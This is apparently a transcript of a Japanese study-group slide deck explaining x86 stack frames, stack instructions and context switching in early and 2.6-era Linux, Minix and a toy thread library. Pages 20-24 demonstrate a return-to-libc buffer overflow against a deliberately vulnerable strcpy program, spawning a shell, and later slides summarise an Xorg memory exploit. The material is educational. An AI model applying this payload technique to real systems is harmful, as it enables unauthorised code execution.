x86とコンテキストスイッチ

76
x86 とコンテキストスイッチ X86 勉強会 2010/08/21 @masami256

Upload: masami-ichikawa

Post on 24-May-2015

4.420 views

Category:

Technology


1 download

DESCRIPTION

第1回 x86勉強会の発表資料

TRANSCRIPT

Page 1: x86とコンテキストスイッチ

x86 とコンテキストスイッチX86 勉強会 2010/08/21

@masami256

Page 2: x86とコンテキストスイッチ

自己紹介

・ Linux 好き

- Fedora の Proven testers グループのメンバー

- Fedora のテストを色々とやってます

- 昔は Debian でパッケージのメンテしたり

・自作カーネルは一応経験済み

Page 3: x86とコンテキストスイッチ

はじめに

• 特に明記しない限り、 x86_32 のプロテクトモードで、呼出規約は cdecl です

[masami@ftest x86]$ uname -aLinux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386 GNU/Linux[masami@ftest x86]$ gcc -vUsing built-in specs.Target: i686-redhat-linuxコンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-tune=generic --with-arch=i686 --build=i686-redhat-linuxスレッドモデル : posixgcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)

Page 4: x86とコンテキストスイッチ

Agenda

Stack の命令

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 5: x86とコンテキストスイッチ

Agenda

Stack の命令

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 6: x86とコンテキストスイッチ

x86 の命令実行での主な登場人物

• stack• eip• ebp• esp• call• ret• Task State Segment(TSS)

Page 7: x86とコンテキストスイッチ

Stack

• SS レジスタが指すセグメントの領域– スタックが絡む命令では CPU が自動的に参照

• フラットメモリモデルの場合–リニアアドレス空間にスタックを設定可– 領域の大きさは、セグメント次第

• アクセスには esp 、 ebp を使用する• 関数単位でスタックフレームに分割される• メモリの高位アドレスから低位アドレスに

向かって領域が伸びていく

Page 8: x86とコンテキストスイッチ

esp と ebp

• esp– スタックポインタ

• スタックの末端のアドレスを指す

• ebp– スタックフレームのベースポインタ– 減算することで、ローカル変数へアクセス– 加算することで、関数の引数へアクセス

Page 9: x86とコンテキストスイッチ

スタックフレーム - サンプルvoid test2(int a, int b){ char s[10];}

void test1(int a, int b){ int n = 10; int m = 20;

test2(n + a, m + b);}

int main(int argc, char **argv){ test1(1, 2); return 0;}

Page 10: x86とコンテキストスイッチ

スタックフレーム

s

Saved ebp

Ret address

a

b

n

m

Saved ebp

Ret address

a

b

Saved ebp

main() のスタックフレーム

test1() のスタックフレーム

test2() のスタックフレーム

esp

test1() で引数の n と m にするには、このようになるmovl %eax, 8(%ebp) <- a にアクセスmovl %edx, 12(%ebp) <- b にアクセス

ローカル変数の場合は、movl -4(%ebp), %eax <- m にアクセスmovl -8(%ebp), %edx <- n にアクセス

高位アドレス

低位アドレス

Page 11: x86とコンテキストスイッチ

test1() 実行時のスタックフレーム(gdb) x/x $ebp + 00xbffff708: 0xbffff718(gdb) x/x $ebp + 40xbffff70c: 0x080483e9(gdb) x/x $ebp + 80xbffff710: 0x00000001(gdb) x/x $ebp + 120xbffff714: 0x00000002(gdb) x/x $ebp - 40xbffff704: 0x00000014(gdb) x/x $ebp - 80xbffff700: 0x0000000a(gdb) x/20x $esp0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff40xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e90xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc60xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0

Page 12: x86とコンテキストスイッチ

Agenda

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 13: x86とコンテキストスイッチ

Stack 操作の命令

• Push• Pop• Call• Ret• Enter• Leave

Page 14: x86とコンテキストスイッチ

Stack 操作の命令 - Push/Pop

void push_pop(void){ int n = 0x20;

printf("before: n is 0x%x\n", n);

asm volatile("push $0x10;\n\t" "pop % [output];\n\t" :[output] "=g"(n));

printf("after: n is 0x%x\n", n);}

$ ./a.outbefore: n is 0x20after: n is 0x10

Page 15: x86とコンテキストスイッチ

Stack 操作の命令 - Call/Ret

void call001(void){ printf("call001-1\n"); asm ("pop %ebp;\n\t" "ret;\n\t"); printf("call001-2\n");}

void call_ret(void){ asm ("call call001;\n\t");}

$ ./a.outcall001-1

call と ret 命令では、 cpu がリターンアドレスをスタック [ に積む / から取得 ]するので、使用時にこの辺は気にしなくてもよい仕様になってます。

Page 16: x86とコンテキストスイッチ

Stack 操作の命令 - Enter/Leave

.globl enter_leave/* int enter_leave(void) */enter_leave:/* Reserve 16 bytes stack frame */enter $0x10, $0 movl $0x20, -4(%ebp)/* %eax is return value */movl -4(%ebp), %eax/* Clear the stack frame */ leave ret

/* 呼び出し */printf("ret is %d\n",enter_leave());

$ ./a.outret is 32

enter 命令の実行内容は、以下の内容とほぼ等価ですpushl %ebpmovl %esp, %ebpsubl $16, %esp

Page 17: x86とコンテキストスイッチ

eip

• 次に実行する命令のアドレスが入る• eip を直接弄ることはありません• mov $0x10, %eip とかはできません• call 、 ret や jmp 命令など実行すると

cpu が適切な値を eip にセット• eip はスタックに積まれるので、制御を

自分で変更したい場合はこちらを弄ります

Page 18: x86とコンテキストスイッチ

制御を自分で変える

void hello2(void){ cout << __FUNCTION__ << endl; exit(0);}extern "C" __attribute__((fastcall)) int hello(int a, int b){ cout << a << ":" << b << endl; return 0;}int main(int argc, char **argv){ int a = 10, b = 20; unsigned long addr = (unsigned long) &hello2;

__asm__ __volatile__("push %[ret_ip]\n\t" "jmp hello;\n\t" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b));

return 0;}

$ ./a.out10:20hello2

Page 19: x86とコンテキストスイッチ

Agenda

StackStack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 20: x86とコンテキストスイッチ

ここまでのまとめvoid test(char *p){ char buf[64];

strcpy(buf, p);}

int main(int argc, char **argv){ test(argv[1]);

printf("ok\n"); return 0;}

Page 21: x86とコンテキストスイッチ

main()->test()->system()->exit()

の流れで遊んでみる

Page 22: x86とコンテキストスイッチ

system() に渡す引数の準備

bt test$ BINSH=/bin/sh ; export BINSHbt test $ echo $BINSH/bin/shbt test $ ./getenv environment[BINSH] is in 0xbfffff15

Page 23: x86とコンテキストスイッチ

メモリレイアウト

0xbfffff15

0xb7ece3a0

0xb7ed86e0

B*4

A*72

オーバーフロー用のゴミデータBBBB で ebp が上書きされる

system() のアドレス

exit() のアドレス

system() に渡す引数のアドレス

高位アドレス

低位アドレス

Page 24: x86とコンテキストスイッチ

実行してみる

bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'`__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510sh-3.1$ iduid=1001(cola) gid=100(users) groups=100(users)sh-3.1$ exitexit--- SIGCHLD (Child exited) ---+++ exited (status 0) +++bt test $

Page 25: x86とコンテキストスイッチ

Agenda

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 26: x86とコンテキストスイッチ

Context Switching

• Hardware Context Switching–X86 のタスク切り替え機能を利用–Linux の v0.01 はこちら

• Software Context Switching–自分でタスクを切り替える

• 一部で cpu の機能を使う必要がある

–今時のカーネルは普通こちら

Page 27: x86とコンテキストスイッチ

TSS

• Hardware/Software コンテキストスイッチどちらでも利用する– Hardware コンテキストスイッチは TSS 必須– Sfowtware コンテキストスイッチでは所用によ

り使う• 各種レジスタ、セグメントなどの情報、 IO 許可

マップなどの情報を保存する領域

Page 28: x86とコンテキストスイッチ

Hardware Context Switching

• CPU によるサポート– FPU 、 MMX 、 SSE の切り替えは未サポート– GDT に TSS を置くので、タスク数は 8190 個

が最大• あまり使われていない

– モダンな OS で使われてるケースってあるのでしょうか?

• Why?– 遅い(らしい)– http://wiki.osdev.org/Context_Switching

Page 29: x86とコンテキストスイッチ

Hardware Context Switching の処理

• TSS を作り GDT に置く– TSS はプロセス毎

• ltr 命令で TSS をセットする– 1 つ目の TSS だけで OK

• プロセスの切り替えは、 JMP/CALL 命令で実施– 各レジスタのセーブ・リストアに関しては

CPU がやってくれる– FPU などは除く

Page 30: x86とコンテキストスイッチ

Software Context Switching

• X86 の機能をフル活用しない–TSS の esp0 や IOBP などは利用しま

す• タスク数の制限はない

–プロセス単位に TSS ディスクリプタが不要

Page 31: x86とコンテキストスイッチ

Software Context Switching の処理

• TSS を作り GDT に置く– Linux の場合、 TSS は cpu 毎

• ltr 命令で TSS をセットする– 1 つ目の TSS だけで OK

• プロセスの切り替えはスタックの切り替えで実施– スタックを次のプロセスのものに切り替えて

るのと、関数から戻るときにスタックに積まれている eip を利用して切り替えを実施

– FPU などは自分で切り替える

Page 32: x86とコンテキストスイッチ

Agenda

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 33: x86とコンテキストスイッチ

Linux v0.01 の場合

Page 34: x86とコンテキストスイッチ

Linux v0.01 - sched_initkernel/sched.c231void sched_init(void)232{233 int i;234 struct desc_struct * p;235236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));snip246 ltr(0);snip254}

include/linux/sched.h154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))

TSS ディスクリプタを GDT にセット* fork() 時は新プロセス用に作った TSSディスクリプタをセットします

ltr 命令で TSS をセットします。

Page 35: x86とコンテキストスイッチ

Linux v0.01 - copy_process()kernel/fork.c 61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,64 long eip,long cs,long eflags,long esp,long ss)65{snip70 p = (struct task_struct *) get_free_page();71 if (!p)72 return -EAGAIN;73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */74 p->state = TASK_RUNNING;75 p->pid = last_pid;snip118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));120 task[nr] = p; /* do this last, just in case */121 return last_pid;

70 行目以降で作った新しいプロセスのディスクリプタを設定

Page 36: x86とコンテキストスイッチ

Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \

__tmp.b に gdt に設定されている次のプロセスの TSS セレクタ値を代入

Page 37: x86とコンテキストスイッチ

Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \

カレントプロセスと次のプロセスが同一ならなにもしない

Page 38: x86とコンテキストスイッチ

Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \

セグメント間ジャンプでプロセス切り替え実行

Page 39: x86とコンテキストスイッチ

Linux v0.01 - switch_to()include/linux/sched.h168#define switch_to(n) {\ 169struct {long a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \

最後に FPU レジスタを使ったプロセスと切り替え後のプロセスを比較して同じだったら、 clts 命令を実行い CR0 レジスタの TS フラグをリセットする

Page 40: x86とコンテキストスイッチ

clts 命令と TS フラグ

• CR0 レジスタの TS フラグをクリアする命令• TS は Task Switch の略• TS フラグはハードウェアコンテキストスイッチ

発生時に CPU によりセットされる• このフラグが立っているときに、浮動小数点命

令を使用すると例外( Device not available) が発生する

• この仕組みを利用して、 FPU レジスタの退避を遅延させることができる

Page 41: x86とコンテキストスイッチ

Agenda

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 42: x86とコンテキストスイッチ

Linux v2.6.34 の場合

Page 43: x86とコンテキストスイッチ

Linux 2.6.34 の Context Switch

• switch_to マクロ–arch/x86/include/asm/system.h

• __switch_to()–arch/x86/kernel/process_32.c

Page 44: x86とコンテキストスイッチ

switch_to - 概要

arch/x86/include/asm/system.h44/*45 * Saving eflags is important. It switches not only IOPL between tasks,46 * it also protects other tasks from NT leaking through sysenter etc.47 */48#define switch_to(prev, next, last) \

このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()の呼出をします。 __switch_to() から戻った時点で、プロセスが切り替わっています。

Page 45: x86とコンテキストスイッチ

switch_to - 実行部分

57 unsigned long ebx, ecx, edx, esi, edi; \58 \59 asm volatile("pushfl\n\t" /* save flags */ \60 "pushl %%ebp\n\t" /* save EBP */ \61 "movl %%esp,%[prev_sp]\n\t" /* save ESP */ \62 "movl %[next_sp],%%esp\n\t" /* restore ESP */ \63 "movl $1f,%[prev_ip]\n\t" /* save EIP */ \64 "pushl %[next_ip]\n\t" /* restore EIP */ \65 __switch_canary \66 "jmp __switch_to\n" /* regparm call */ \67 "1:\t" \68 "popl %%ebp\n\t" /* restore EBP */ \69 "popfl\n" /* restore flags */ \

Page 46: x86とコンテキストスイッチ

__switch_to() の主な処理

• もし Prev プロセスが FPU を使っていた場合は、 FPU レジスタを退避する

• clts 命令の実行などもある

• カーネル用のスタックを設定• TSS の sp0• Thread Local Storage へアクセス出きるよう

にセグメントを設定 • I/O ポートへのアクセス権の設定

Page 47: x86とコンテキストスイッチ

プロセス切替の完了

__switch_to() から戻る場所は、 67 行目にセットされているので、 ebp と、 eflags をリストアすることで switch_to() の処理は終了し、 Next プロセスの実行が始まる。

67 "1:\t" \68 "popl %%ebp\n\t" /* restore EBP */ \69 "popfl\n" /* restore flags */ \

Page 48: x86とコンテキストスイッチ

プロセス切替時のスタックの様子

Prev プロセスのスタック

ebp

eflags

XXX

XXX

esppushl %%ebppushfl

movl %[next_sp],%%esp

Next プロセスの スタック

Ret Address

XXX

XXX

pushl %[next_ip]

esp

jmp 命令で __switch_to() を呼び、 __switch_to() から return するときにきに ret 命令が Next プロセスのスタックから %next_ip を読込み、指定された場所に戻る

Page 49: x86とコンテキストスイッチ

Agenda

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 50: x86とコンテキストスイッチ

Minix v3.1.0 の場合

Page 51: x86とコンテキストスイッチ

Minix3.1.0 の Context Switch

●kernel/mpx386.s に実装がある●_restart() がコンテキストスイッチを実行●通常は c の関数からは呼ばれない

● 同ファイルの割り込みハンドラから実行

●例外は kernel/main.c の main() で、終了時に呼び出される

● main() の最後に _restart() を呼ぶ● スケジューラにセットされたサーバプロセス

の起動処理が走りだす

Page 52: x86とコンテキストスイッチ

_restart - 前半

_restart:cmp (_next_ptr), 0 jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax mov (_next_ptr), 00: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax

_next_ptr は次のプロセスで、次のプロセスが無ければ、今のプロセスを継続する

Page 53: x86とコンテキストスイッチ

_restart - 前半

_restart:cmp (_next_ptr), 0 jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax mov (_next_ptr), 00: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax

_proc_ptr に _next_ptr をセットして、 _next_ptr をNULL にする

LDT をセット

Page 54: x86とコンテキストスイッチ

_restart - LDT の設定

先ほど出てきた P_LDT_SEL はマクロで、 proc構造体の配列 p_ldtにアクセスするために使用しています。このマクロを使用することで、 lldt 命令の引数を正しくセットできます。マクロは kernel/sconst.h にて定義。

struct proc {struct stackframe_s p_reg; /* process' registers saved in stack frame */

#if (CHIP == INTEL)reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and remote segments */#endif

この p_ldt にアクセスする

Page 55: x86とコンテキストスイッチ

_restart - 前半

_restart:cmp (_next_ptr), 0 jz 0fmov eax, (_next_ptr)mov (_proc_ptr), eax mov (_next_ptr), 00: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax

TSS の sp0 をセット

Page 56: x86とコンテキストスイッチ

Minix の TSS構造体

kernel/protect.hstruct tss_s {reg_t backlink;reg_t sp0; reg_t ss0; reg_t sp1;snip};

#define TSS3_S_SP0 4

mov (_tss+TSS3_S_SP0), eax↑の mov 命令で sp0 をセットするわけですが、その仕組みは単純で、 TSS を表す構造体 _tss の先頭からオフセットTSS3_S_SP0 バイト目にアクセスするだけです。386版の aMinix では reg_t は 4 バイトなので、先頭から 4 バイト目は sp0 となり、目的の位置にアクセスできます。

Page 57: x86とコンテキストスイッチ

_restart - 後半

restart1:decb (_k_reenter)o16 pop gso16 pop fso16 pop eso16 pop dspopadadd esp, 4 iretd

_restart() 内では使用しないラベル

カーネルのリエントラント用のカウンタをデクリメント

iretd で抜けて処理が完了

スタックに積まれているリターンアドレスを無視

Page 58: x86とコンテキストスイッチ

Agenda

Stack

Stack のまとめ

Stack の命令

Context Switch

Linuxv0.01

Linuxv2.6.34

Minuxv3.1.0

Todo Doing Done

スレッド

Page 59: x86とコンテキストスイッチ

スレッド

スタックの切り替えでスレッドを切り替えることができます

実験は x86_64 で行ってます

Page 60: x86とコンテキストスイッチ

スレッド構造体

typedef struct _Thread {struct _Thread *next;int thread_id;unsigned long context[CONTEXT_SIZE];char *stack_top; /* NULL if this is main() thread */int status;

} Thread;

Page 61: x86とコンテキストスイッチ

メインスレッド

void ThreadMain(int argc, char **argv){

int t1, t2;

t1 = ThreadCreate(f, 1);printf("create a new thread (i=%d) [id=%d]\n", 1, t1);t2 = ThreadCreate(f, 2);printf("create a new thread (i=%d) [id=%d]\n", 2, t2);ThreadYield();printf("main thread finished.\n");

}

Page 62: x86とコンテキストスイッチ

スレッド生成 -前半

int ThreadCreate(ThreadProc proc, unsigned long arg){

Thread *child;unsigned long addr = (unsigned long) ThreadStart;unsigned long stack_start = 0;

child = AllocateThread();

child->stack_top = malloc(STACK_ALLOC_SIZE);memset(child->stack_top, 0, STACK_ALLOC_SIZE);

stack_start = (unsigned long) child->stack_top + STACK_SIZE;memcpy((char *) stack_start, &addr, sizeof(addr));

Page 63: x86とコンテキストスイッチ

スレッド生成 - 後半

child->context[0] = stack_start;child->context[1] = stack_start;child->context[2] = (unsigned long) proc;child->context[3] = arg;

child->status = RUNNING;

LinkThread(child);

return child->thread_id;

}

Page 64: x86とコンテキストスイッチ

スレッドのエントリポイント

static void ThreadStart(unsigned long proc, unsigned long arg){

ThreadProc ptr = (ThreadProc) proc;ptr(arg);ThreadExit();

}

Page 65: x86とコンテキストスイッチ

ThreadYeild-前半

void ThreadYield(){

Thread *t;int found = 0;

for (t = threadList->next; t; t = t->next) {if (t && t->status == RUNNING && t != currentThread) {

found = 1;break;

}}

Page 66: x86とコンテキストスイッチ

ThreadYeild- 後半

if (found) {Thread *cur = currentThread;

currentThread = t;

printf("switch id %d to %d\n", cur->thread_id, t->thread_id);_ContextSwitch(cur->context, t->context);

} else if (currentThread->thread_id == MAIN_THREAD_ID) {// main thread's state is FINISH.printf("There is only main thread\n");

} else {printf("There is no active thread\n");

}}

Page 67: x86とコンテキストスイッチ

_ContextSwitch//void _ContextSwitch(void* old_context, void* new_context);.globl ENTRY(_ContextSwitch)ENTRY(_ContextSwitch):

movq %rdi, %rax // oldmovq %rsp, 0(%rax)movq %rbp, 8(%rax)movq %rdi, 16(%rax)movq %rsi, 24(%rax)movq %rsi, %rax // newmovq 0(%rax), %rspmovq 8(%rax), %rbpmovq 16(%rax), %rdi // arg1movq 24(%rax), %rsi // arg2ret

Page 68: x86とコンテキストスイッチ

スレッドの実行内容

void f(int i){

int n = 0;

for (n = 0; n < 10; n++) {printf("thread(%d): %d.\n", i, n);ThreadYield();

}

printf("thread (i=%d) finished.\n", i);}

Page 69: x86とコンテキストスイッチ

実行結果

[masami@moon]~/experiment/thread% ./test1 create a new thread (i=1) [id=1]create a new thread (i=2) [id=2]switch id 0 to 2thread(2): 0.switch id 2 to 1thread(1): 0.switch id 1 to 2~switch id 1 to 2thread (i=2) finished.switch id -1 to 1thread (i=1) finished.switch id -1 to 0main thread finished.

Page 70: x86とコンテキストスイッチ

まとめ

• プロセスの切り替えは、スタックとスタック操作のメカニズムが主要な鍵になってます

• スタック周りの説明はバッファオーバーフローなどのテクニックを紹介している本が結構詳しいです

• 大概は x86 で説明しているのと、 exploit コードの説明ではスタックの知識が必要なので…

Page 71: x86とコンテキストスイッチ

追加スライド

• Linux カーネルの脆弱性のレポート– Exploiting large memory management

vulnerabilities in Xorg server running on Linux

• スタック &ヒープ領域に絡んだ話です– デフォルトインストールの Fedora 13 で再現• F13 は selinux有効、 exec-shiled パッ

チ有りがデフォルトです

Page 72: x86とコンテキストスイッチ

概要

●スタックとヒープを大量に使った場合の問題● スタックとヒープが重なったら危険!

●Xorg の MIT-SHM という拡張機能を使っていると exploit の効果が抜群

● この拡張を無効にすれば exploit の信頼性が落ちるけど、 Xorg の機能性も落ちる

Page 73: x86とコンテキストスイッチ

シナリオ

●X サーバに大量のメモリを確保させる● x86_32 では実行する必要なし

●共有メモリ S を限界まで確保させる●関数 F の再帰呼び出しを繰り返し実行させる●S の領域に 0 以外のデータが入っている場所

を探す● スタックフレームとヒープが重なった!

Page 74: x86とコンテキストスイッチ

シナリオ

●プロセス W を立ち上げて、 S 内のデータをpayload で書き換える●F が関数から戻るときはスタックからリターンアドレスを取得する

● この時に payload を読み込んだらゲームオーバー

● W による書き換えと、 F がリターンアドレスを取得するタイミングでレースがある

● でも、ほとんどの SMP システムでは上手くできる

Page 75: x86とコンテキストスイッチ

ご清聴ありがとうございました

Page 76: x86とコンテキストスイッチ

リファレンス

• Insecure Programming by example– http://community.corest.com/~gera/InsecureProgramming/

• OSDev.org– http://wiki.osdev.org/Main_Page

• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303

• xorg-large-memory-attack.pdf– http://www.invisiblethingslab.com/resources/misc-

2010/xorg-large-memory-attacks.pdf